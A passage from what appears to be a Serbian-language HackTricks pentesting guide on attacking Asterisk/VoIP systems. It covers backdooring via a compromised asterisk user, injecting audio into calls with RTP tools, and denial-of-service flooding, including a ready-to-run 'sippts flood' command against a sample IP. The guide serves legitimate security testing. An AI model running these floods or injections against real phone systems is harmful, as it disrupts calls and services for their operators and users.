šifre za web admina * **Nekoliko foldera** će pripadati kompromitovanom asterisk korisniku (ako ne radi kao root). Ovaj korisnik može čitati prethodne fajlove i takođe kontroliše konfiguraciju, pa bi mogao naterati Asterisk da učita druge binarne fajlove sa vratima pozadi prilikom izvršavanja. ### RTP Injekcija Moguće je ubaciti **`.wav`** u razgovore koristeći alate poput **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`). Ili možete koristiti skripte sa [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) da **skenirate razgovore** (**`rtpscan.pl`**), pošaljete `.wav` u razgovor (**`rtpsend.pl`**) i **ubacite buku** u razgovor (**`rtpflood.pl`**). ### DoS Postoji nekoliko načina da se pokuša postići DoS na VoIP serverima. * **`SIPPTS flood`** sa [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood šalje neograničene poruke cilju. * `sippts flood -i 10.10.0.10 -m invite -v` * **`SIPPTS ping`** sa [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping pravi SIP ping da vidi vreme odgovora servera. * `sippts ping -i 10.10.0.10` * [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol koji koristi Asterisk * [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Alat za izvođenje SIP/SDP INVITE poruka preplavljenja preko UDP/IP. * [**rtpflood**](https://www.kali.org/tools/rtpflood/): Slanje nekoliko dobro oblikovanih RTP paketa. Potrebno je znati koje se RTP porte koriste (prvo snifujte). * [**SIPp**](https://github.com/SIPp/sipp): Omogućava analizu i generisanje SIP saobraćaja, pa se može koristiti i za DoS. * [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP švajcarski nož. Može se koristiti i za izvođenje SIP napada. * Fuzzeri: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### OS Ranjivosti Najlakši način za instaliranje softvera poput Asteriska je preuzimanje **OS distribucije** u kojoj je već instaliran, kao što su: **FreePBX, Elastix, Trixbox**... Problem sa njima je što kada jednom prorade, sistem administratori možda ih **neće ažurirati ponovo** i **ranjivosti** će biti otkrivene vremenom. ## Reference * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) * [http://blog.pepelux.org/](http://blog.pepelux.org/) * [https://www.rtpbleed.com/](https://www.rtpbleed.com/) * [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4) * [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.